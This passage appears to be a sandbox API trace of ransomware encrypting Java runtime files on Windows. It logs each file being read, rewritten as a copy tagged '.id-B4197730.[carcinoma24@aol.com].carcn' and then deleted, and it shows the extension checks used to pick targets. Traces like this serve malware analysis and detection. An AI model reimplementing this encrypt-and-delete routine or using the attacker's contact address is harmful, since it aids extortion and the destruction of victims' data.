lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x100, lpOverlapped=0x0) returned 1 [0262.389] SetEndOfFile (hFile=0x540) returned 1 [0262.389] CloseHandle (hObject=0x540) returned 1 [0262.392] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.392] SetEndOfFile (hFile=0x4bc) returned 1 [0262.414] CloseHandle (hObject=0x4bc) returned 1 [0262.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.415] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0262.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.416] lstrlenW (lpString=".doc") returned 4 [0262.416] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.416] lstrlenW (lpString=".docx") returned 5 [0262.416] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.416] lstrlenW (lpString=".pdf") returned 4 [0262.416] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.416] lstrlenW (lpString=".xls") returned 4 [0262.416] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.416] lstrlenW (lpString=".xlsx") returned 5 [0262.416] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.416] lstrlenW (lpString=".ppt") returned 4 [0262.416] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.416] lstrlenW (lpString=".zip") returned 4 [0262.416] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.416] lstrlenW (lpString=".rar") returned 4 [0262.416] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.417] lstrlenW (lpString=".bz2") returned 4 [0262.417] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.417] lstrlenW (lpString=".7z") returned 3 [0262.417] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.417] lstrlenW (lpString=".dbf") returned 4 [0262.417] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.417] lstrlenW (lpString=".1cd") returned 4 [0262.417] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.417] lstrlenW (lpString=".jpg") returned 4 [0262.417] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.417] lstrlenW (lpString=".doc") returned 4 [0262.417] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.417] lstrlenW (lpString=".docx") returned 5 [0262.417] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.417] lstrlenW (lpString=".pdf") returned 4 [0262.417] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.417] lstrlenW (lpString=".xls") returned 4 [0262.417] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.417] lstrlenW (lpString=".xlsx") returned 5 [0262.417] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.418] lstrlenW (lpString=".ppt") returned 4 [0262.418] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.418] lstrlenW (lpString=".zip") returned 4 [0262.418] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.418] lstrlenW (lpString=".rar") returned 4 [0262.418] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.418] lstrlenW (lpString=".bz2") returned 4 [0262.418] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.418] lstrlenW (lpString=".7z") returned 3 [0262.418] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.418] lstrlenW (lpString=".dbf") returned 4 [0262.418] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.418] lstrlenW (lpString=".1cd") returned 4 [0262.418] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0262.418] lstrlenW (lpString=".jpg") returned 4 [0262.418] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.418] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.419] lstrlenW (lpString="messages_ja.properties") returned 22 [0262.419] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.433] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=6349) returned 1 [0262.433] CloseHandle (hObject=0x4bc) returned 1 [0262.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0262.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.433] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.433] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0262.435] GetLastError () returned 0x0 [0262.435] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x18cd, lpOverlapped=0x0) returned 1 [0262.665] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0262.667] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.667] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x100, lpOverlapped=0x0) returned 1 [0262.667] SetEndOfFile (hFile=0x540) returned 1 [0262.667] CloseHandle (hObject=0x540) returned 1 [0262.668] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.668] SetEndOfFile (hFile=0x4bc) returned 1 [0262.671] CloseHandle (hObject=0x4bc) returned 1 [0262.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.672] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0262.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.672] lstrlenW (lpString=".doc") returned 4 [0262.672] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.672] lstrlenW (lpString=".docx") returned 5 [0262.672] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.672] lstrlenW (lpString=".pdf") returned 4 [0262.672] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.672] lstrlenW (lpString=".xls") returned 4 [0262.673] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.673] lstrlenW (lpString=".xlsx") returned 5 [0262.673] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.673] lstrlenW (lpString=".ppt") returned 4 [0262.673] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.673] lstrlenW (lpString=".zip") returned 4 [0262.673] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.673] lstrlenW (lpString=".rar") returned 4 [0262.673] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.673] lstrlenW (lpString=".bz2") returned 4 [0262.673] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.673] lstrlenW (lpString=".7z") returned 3 [0262.673] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.673] lstrlenW (lpString=".dbf") returned 4 [0262.673] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.673] lstrlenW (lpString=".1cd") returned 4 [0262.673] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.673] lstrlenW (lpString=".jpg") returned 4 [0262.673] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.673] lstrlenW (lpString=".doc") returned 4 [0262.674] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.674] lstrlenW (lpString=".docx") returned 5 [0262.674] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.674] lstrlenW (lpString=".pdf") returned 4 [0262.674] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.674] lstrlenW (lpString=".xls") returned 4 [0262.674] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.674] lstrlenW (lpString=".xlsx") returned 5 [0262.674] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.674] lstrlenW (lpString=".ppt") returned 4 [0262.674] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.674] lstrlenW (lpString=".zip") returned 4 [0262.674] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.674] lstrlenW (lpString=".rar") returned 4 [0262.674] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.674] lstrlenW (lpString=".bz2") returned 4 [0262.674] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.674] lstrlenW (lpString=".7z") returned 3 [0262.674] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.674] lstrlenW (lpString=".dbf") returned 4 [0262.674] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.674] lstrlenW (lpString=".1cd") returned 4 [0262.674] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0262.675] lstrlenW (lpString=".jpg") returned 4 [0262.675] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.675] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.675] lstrlenW (lpString="messages_sv.properties") returned 22 [0262.675] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.675] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=3409) returned 1 [0262.676] CloseHandle (hObject=0x4bc) returned 1 [0262.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0262.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.676] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.676] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0262.677] GetLastError () returned 0x0 [0262.677] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0xd51, lpOverlapped=0x0) returned 1 [0262.772] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xd60, lpOverlapped=0x0) returned 1 [0262.773] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.774] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x100, lpOverlapped=0x0) returned 1 [0262.774] SetEndOfFile (hFile=0x540) returned 1 [0262.774] CloseHandle (hObject=0x540) returned 1 [0262.775] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.775] SetEndOfFile (hFile=0x4bc) returned 1 [0262.781] CloseHandle (hObject=0x4bc) returned 1 [0262.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.781] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0262.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.782] lstrlenW (lpString=".doc") returned 4 [0262.782] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.782] lstrlenW (lpString=".docx") returned 5 [0262.782] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.782] lstrlenW (lpString=".pdf") returned 4 [0262.782] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.782] lstrlenW (lpString=".xls") returned 4 [0262.782] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.783] lstrlenW (lpString=".xlsx") returned 5 [0262.783] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.783] lstrlenW (lpString=".ppt") returned 4 [0262.783] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.783] lstrlenW (lpString=".zip") returned 4 [0262.783] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.783] lstrlenW (lpString=".rar") returned 4 [0262.783] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.783] lstrlenW (lpString=".bz2") returned 4 [0262.783] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.783] lstrlenW (lpString=".7z") returned 3 [0262.783] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.783] lstrlenW (lpString=".dbf") returned 4 [0262.783] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.783] lstrlenW (lpString=".1cd") returned 4 [0262.783] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.783] lstrlenW (lpString=".jpg") returned 4 [0262.783] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.784] lstrlenW (lpString=".doc") returned 4 [0262.784] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.784] lstrlenW (lpString=".docx") returned 5 [0262.784] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.784] lstrlenW (lpString=".pdf") returned 4 [0262.784] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.784] lstrlenW (lpString=".xls") returned 4 [0262.784] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.784] lstrlenW (lpString=".xlsx") returned 5 [0262.784] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.784] lstrlenW (lpString=".ppt") returned 4 [0262.784] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.784] lstrlenW (lpString=".zip") returned 4 [0262.785] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.785] lstrlenW (lpString=".rar") returned 4 [0262.785] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.785] lstrlenW (lpString=".bz2") returned 4 [0262.785] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.785] lstrlenW (lpString=".7z") returned 3 [0262.785] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.785] lstrlenW (lpString=".dbf") returned 4 [0262.785] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.785] lstrlenW (lpString=".1cd") returned 4 [0262.785] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0262.785] lstrlenW (lpString=".jpg") returned 4 [0262.785] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.785] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.785] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0262.785] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.132] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=3752) returned 1 [0263.133] CloseHandle (hObject=0x538) returned 1 [0263.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0263.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.133] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.133] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.134] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.135] GetLastError () returned 0x0 [0263.135] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0xea8, lpOverlapped=0x0) returned 1 [0263.164] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0263.166] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.166] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x106, lpOverlapped=0x0) returned 1 [0263.166] SetEndOfFile (hFile=0x54c) returned 1 [0263.166] CloseHandle (hObject=0x54c) returned 1 [0263.167] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.167] SetEndOfFile (hFile=0x538) returned 1 [0263.170] CloseHandle (hObject=0x538) returned 1 [0263.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.171] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0263.172] lstrlenW (lpString="C:\\Program 